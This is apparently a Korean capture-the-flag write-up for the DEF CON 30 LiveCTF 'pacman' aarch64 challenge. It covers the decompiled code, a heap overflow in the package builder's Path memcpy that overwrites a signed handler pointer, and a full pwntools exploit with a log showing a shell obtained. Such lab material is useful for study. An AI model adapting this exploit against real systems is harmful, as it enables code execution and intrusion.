출처
https://github.com/Live-CTF/LiveCTF-DEFCON30/releases/tag/defcon30
checksec
[*] '/home/ubuntu/LiveCTF30/handout/pacman'
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes
준비
- qemu-user 설치 필요.
- lib 디렉토리에 ld-linux-aarch64.so.1, libc.so.6 파일 복붙.
- challenge 스크립트, 아래와 같이 수정.
#!/bin/sh
# Requires (for ubuntu 22.04): qemu-user libc6-arm64-cross
BIN=${1:-./pacman}
exec qemu-aarch64 -cpu max -L ./ ${BIN}
4. IDA Pro에서 분석시 “PACDZA X0” 와 같이 PAC가 존재하므로,
Hex-Rays Decompiler Options → Analysis Options 2에서 “Show ARMv8.3 PAC instructions” 체크 활성화.
Decompiled-src / Analysis
main
0, 1, 2 이외의 다른 메뉴 입력시 "Invalid choice" 문구 띄우면서 다시 메뉴 입력받음.
0 → exit(0)
1 → build_package()
2 → install_package()
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
char choice[8]; // [xsp+10h] [xbp+10h] BYREF
init();
puts("This is PACman v0.1");
puts(byte_401E00);
while ( 1 )
{
puts("What do you want to do?");
puts(byte_401E00);
puts("0) Exit");
puts("1) Build package");
puts("2) Install package");
printf("? ");
strcpy(choice, "0");
read(0, choice, 2u);
if ( choice[0] == '2' )
{
install_package();
}
else
{
if ( (unsigned __int8)choice[0] <= (unsigned int)'2' )
{
if ( choice[0] == '1' )
{
build_package();
goto LABEL_12;
}
if ( (unsigned __int8)choice[0] <= (unsigned int)'1' && (choice[0] == '\n' || choice[0] == '0') )
exit(0);
}
puts("Invalid choice");
}
LABEL_12:
puts(byte_401E00);
}
}
build_package
먼저 “? “ 문구를 띄우면서 메뉴 0, 1, 2 중에 뭐 선택할지 물음.
void __cdecl build_package()
{
object_type v0; // w0
bool end; // [xsp+17h] [xbp+17h]
char *type; // [xsp+18h] [xbp+18h] BYREF
char *path; // [xsp+20h] [xbp+20h] BYREF
char *data; // [xsp+28h] [xbp+28h] BYREF
package_object *head; // [xsp+30h] [xbp+30h]
package_object *cur; // [xsp+38h] [xbp+38h]
package_object *o; // [xsp+40h] [xbp+40h]
size_t type_len; // [xsp+48h] [xbp+48h]
size_t data_len_0; // [xsp+50h] [xbp+50h]
void *p_0; // [xsp+58h] [xbp+58h]
size_t path_len; // [xsp+60h] [xbp+60h]
size_t data_len; // [xsp+68h] [xbp+68h]
void *p; // [xsp+70h] [xbp+70h]
void *p_1; // [xsp+78h] [xbp+78h]
void *p_2; // [xsp+80h] [xbp+80h]
head = 0;
cur = 0;
end = 0;
while ( !end )
{
puts("Object type:");
puts("0 = EOF");
puts("1 = File");
puts("2 = Run Script");
o = (package_object *)calloc(1u, 0x1030u);
if ( !o )
err(1, "malloc(package_object)");
type = 0;
type_len = getinput("? ", &type);
if ( !type || strlen(type) != 1 )
fprintf(stderr, "Invalid object type input %s\n", type);
o->type = (unsigned __int8)*type;
v0 = o->type;
if ( v0 == object_type::Script )
{
data = 0;
data_len_0 = getinput("Script? ", &data);
o->handler = (void (*)(void *))script_handler;
o->file.data = data;
p_0 = o->file.data;
p_0 = ptrauth_sign_unauthenticated(p_0, ptrauth_key_asda, 0);
o->file.data = (char *)p_0;
}
else
{
if ( (unsigned int)v0 > object_type::Script )
goto LABEL_15;
if ( v0 == object_type::End )
{
end = 1;
}
else
{
if ( v0 != object_type::File )
{
LABEL_15:
fprintf(stderr, "Bad object type int = %d\n", o->type);
exit(1);
}
path = 0;
path_len = getinput("Path? ", &path);
data = 0;
data_len = getinput("Data? ", &data);
o->handler = (void (*)(void *))file_handler;
o->file.data = data;
o->file.data_len = data_len;
memcpy(&o->script + 2, path, path_len);
o->file.path_len = path_len;
p = o->file.data;
p = ptrauth_sign_unauthenticated(p, ptrauth_key_asda, 0);
o->file.data = (char *)p;
}
}
p_1 = o->handler;
p_1 = ptrauth_sign_unauthenticated(p_1, ptrauth_key_asda, 0);
o->handler = (void (*)(void *))p_1;
if ( head )
{
cur->next = o;
p_2 = cur->next;
p_2 = ptrauth_sign_unauthenticated(p_2, ptrauth_key_asda, 0);
cur->next = (package_object *)p_2;
}
else
{
head = o;
}
cur = o;
}
printf("Package blob: ");
write_package_blob(1, head);
}
void __cdecl file_handler(package_file *file)
{
__int64 v1; // kr00_8
int fd; // [xsp+24h] [xbp+24h]
fd = open(file->path, 0x41, 0644); // 0x41 = O_WRONLY | O_CREAT;
if ( fd < 0 )
err(1, "open(file)");
v1 = 0;
file->data = (char *)ptrauth_auth_data(file->data, ptrauth_key_asda, &v1);
write(fd, file->data, file->data_len);
close(fd);
}
0은 object_type::End, end 변수가 1로 set되어 while(!end) 루프문을 빠져나감.
Data를 A 8개, Path를 B 8개로 했을시,
Package blob: 10000008AAAAAAAA0000008BBBBBBBB20000008AAAAAAAA10000008AAAAAAAA0000008BBBBBBBB0
위와 같이 Package blob이 출력된다.
...
if ( v0 == object_type::End )
{
end = 1;
}
...
printf("Package blob: ");
write_package_blob(1, head);
1은 object_type::File, Path와 Data를 함께 입력받을 수 있음.
여기서 Path 길이에 따라 memcpy에 의해 bof 취약점 발생 가능.
o = (package_object *)calloc(1u, 4144u);
...
if ( v0 != object_type::File )
{
fprintf(stderr, "Bad object type int = %d\n", o->type);
exit(1);
}
path = 0;
path_len = getinput("Path? ", &path);
data = 0;
data_len = getinput("Data? ", &data);
o->handler = (void (*)(void *))file_handler;
o->file.data = data;
o->file.data_len = data_len;
memcpy(&o->script + 2, path, path_len);
o->file.path_len = path_len;
p = o->file.data;
p = ptrauth_sign_unauthenticated(p, ptrauth_key_asda, 0);
o->file.data = (char *)p;
...
size_t __cdecl getinput(const char *prompt, char **buf)
{
size_t len; // [xsp+20h] [xbp+20h] BYREF
printf("%s", prompt);
len = 0;
len = getline(buf, &len, stdin);
if ( (*buf)[len - 1] == 10 )
(*buf)[--len] = 0;
return len;
}
calloc(1u, 4144u)에 의해 할당된 주소 = 0x4142A0.
Path? AAAAAAAAData? BBBBBBBB 로 입력하고 memcpy(&o->script + 2, path, path_len);할 때를 살펴보면,x0 레지스터는 0x4142C0 주소를 가리킨다, 즉 할당된 주소 + 0x20이다.
여기서 0x4152C8 - 0x4142C0 = 0x1008 ,0x1008만큼 더미를 채워서 file_handler 함수를 덮어쓸 수 있다.
MEMORY:00000000004142A0 DCQ 0 ; next MEMORY:00000000004142A8 DCD object_type::File ; type MEMORY:00000000004142AC DCB 0, 0, 0, 0 MEMORY:00000000004142B0 DCQ aBbbbbbbb ; file.data ; "BBBBBBBB" MEMORY:00000000004142B8 DCQ 8 ; file.data_len MEMORY:00000000004142C0 DCB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0; file.path ... MEMORY:00000000004152B6 DCB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 MEMORY:00000000004152C8 DCQ file_handler ; handler
2는 object_type::Script, Script? 문구와 함께 data를 입력받음.
이미 1번 메뉴에서 Path와 Data 함께 입력받기에, 필요없음.
if ( v0 == object_type::Script )
{
data = 0;
data_len_0 = getinput("Script? ", &data);
o->handler = (void (*)(void *))script_handler;
o->file.data = data;
p_0 = o->file.data;
p_0 = ptrauth_sign_unauthenticated(p_0, ptrauth_key_asda, 0);
o->file.data = (char *)p_0;
}
install_package
parse_package_blob를 호출하여 파싱된 type에 따라handler에 저장된 함수가 호출될지 안될지 여부를 결정한다.
만약 type이 1 또는 2라면, handler에 저장된 함수가 호출된다.
void __cdecl install_package()
{
__int64 v0; // kr00_8
unsigned int type; // w0
__int64 v2; // kr08_8
package_object *cur; // [xsp+18h] [xbp+18h]
for ( cur = parse_package_blob(0); cur; cur = cur->next )
{
v0 = 0;
cur->handler = (void (*)(void *))ptrauth_auth_data(cur->handler, ptrauth_key_asda, &v0);
printf("Evaluating object of type %c...\n", (unsigned int)cur->type);
type = cur->type;
if ( type != '2' )
{
if ( type > '2' )
goto LABEL_10;
if ( type == '0' )
exit(0);
if ( type != '1' )
{
LABEL_10:
fprintf(stderr, "Corrupt object type int = %d\n", cur->type);
exit(1);
}
}
cur->handler(&cur->file);
v2 = 0;
cur->next = (package_object *)ptrauth_auth_data(cur->next, ptrauth_key_asda, &v2);
}
}
parse_package_blob
입력된 blob에 따라 package_object를 할당하고 type에 따라 파싱역할을 한다.
각 타입들은 build_package 내에 쓰인 type에 따라 작동한다고 보면 됨.
package_object *__cdecl parse_package_blob(int fd)
{
unsigned int type; // w0
bool end; // [xsp+2Fh] [xbp+2Fh]
package_object *head; // [xsp+30h] [xbp+30h]
package_object *cur; // [xsp+38h] [xbp+38h]
package_object *o; // [xsp+40h] [xbp+40h]
size_t data_len_0; // [xsp+48h] [xbp+48h]
char *data_0; // [xsp+50h] [xbp+50h]
size_t path_len; // [xsp+68h] [xbp+68h]
char *path; // [xsp+70h] [xbp+70h]
size_t data_len; // [xsp+78h] [xbp+78h]
char *data; // [xsp+80h] [xbp+80h]
head = 0;
cur = 0;
end = 0;
while ( !end )
{
o = (package_object *)calloc(1u, 4144u);
if ( !o )
err(1, "malloc(package_object)");
read_exactly(fd, &o->type, 1u);
printf("Parsing object of type %c\n", (unsigned int)o->type);
type = o->type;
if ( type == '2' )
{
if ( is_running_safe() )
{
fwrite("Scripts not allowed unless PACMAN_UNSAFE=1\n", 1u, 0x2Bu, stderr);
exit(1);
}
data_len_0 = read_size_field(fd);
data_0 = (char *)malloc(data_len_0);
if ( !data_0 )
err(1, "malloc(data)");
read_exactly(fd, data_0, data_len_0);
o->handler = (void (*)(void *))script_handler;
o->handler = (void (*)(void *))ptrauth_sign_unauthenticated(o->handler, ptrauth_key_asda, 0);
o->file.data = data_0;
o->file.data = (char *)ptrauth_sign_unauthenticated(o->file.data, ptrauth_key_asda, 0);
}
else
{
if ( type > '2' )
goto LABEL_23;
if ( type == '0' )
{
end = 1;
}
else
{
if ( type != '1' )
{
LABEL_23:
fprintf(stderr, "Bad object type int = %d\n", o->type);
exit(1);
}
path_len = read_size_field(fd);
path = (char *)malloc(path_len);
if ( !path )
err(1, "malloc(path)");
read_exactly(fd, path, path_len);
if ( is_running_safe() && strchr(path, '/') )
{
fwrite("Subdirectories not allowed in safe mode\n", 1u, 0x28u, stderr);
exit(1);
}
data_len = read_size_field(fd);
data = (char *)malloc(data_len);
if ( !data )
err(1, "malloc(data)");
read_exactly(fd, data, data_len);
o->handler = (void (*)(void *))file_handler;
o->handler = (void (*)(void *))ptrauth_sign_unauthenticated(o->handler, ptrauth_key_asda, 0);
o->file.data = data;
o->file.data_len = data_len;
memcpy(&o->script + 2, path, path_len);
o->file.path_len = path_len;
o->file.data = (char *)ptrauth_sign_unauthenticated(o->file.data, ptrauth_key_asda, 0);
}
}
if ( head )
{
cur->next = o;
cur->next = (package_object *)ptrauth_sign_unauthenticated(cur->next, ptrauth_key_asda, 0);
}
else
{
head = o;
}
cur = o;
}
return head;
}
환경변수가 지정안되있고, “/” 필터링 처리가 되있기에Path를 임의로 지정해서 flag를 읽어낼 순 없을 것이다..
if ( is_running_safe() && strchr(path, '/') )
{
fwrite("Subdirectories not allowed in safe mode\n", 1u, 0x28u, stderr);
exit(1);
}
bool __cdecl is_running_safe()
{
char *unsafe; // [xsp+18h] [xbp+18h]
unsafe = getenv("PACMAN_UNSAFE");
return !unsafe || *unsafe == a1[0];
}
solve.py
Path는 0x1008바이트만큼 더미로 채우고, script_handler 함수가 실행되게끔 handler를 덮어쓰게끔 만든다.Data는 “sh” 문자열로 지정해서 blob를 생성한다. (heap overflow)
이후에 install_package 함수를 통해 생성된 blob을 넣게 되면,
cur->handler(&cur->file); 코드에서 script_handler가 호출되면서 Data인 script->script가 인자로, system이 호출되면서 쉘을 딸 수 있었다.
from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
# p = remote("127.0.0.1", 1337)
p = process("./challenge")
e = ELF('./pacman',checksec=False)
s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims: p.recvuntil(delims)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
# build package
sla(b'? ', b'1')
# object_type::File
sla(b'? ', b'1')
sla(b'Path? ', b'A'*0x1008 + p64(e.symbols['script_handler']))
sla(b'Data? ', b'sh')
# object_type::End
sla(b'? ', b'0')
# get blob
ru(b'blob: ')
blob = ru(b'\nWhat')[:-5]
success(f"blob: {blob}")
# install_package with blob
sla(b'? ', b'2')
sl(blob)
p.interactive()
Result
ubuntu@2d0f4d9a440c:~/LiveCTF30/handout$ python3 solve.py [+] Starting local process './challenge': pid 1112 [+] blob: b'10004112AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x10\x00\x00\x00\x00\x00\x00\x18\x10@\x00\x00\x00<\x000000002sh0' [*] Switching to interactive mode Parsing object of type 1 Parsing object of type 0 Evaluating object of type 1... $ ls AAAAAAAA challenge.bak lib pacman.i64 pacman.id2 solve.py answer.py challenge_debug libc.so.6 pacman.id0 pacman.nam challenge ld-linux-aarch64.so.1 pacman pacman.id1 pacman.til $ id uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu) $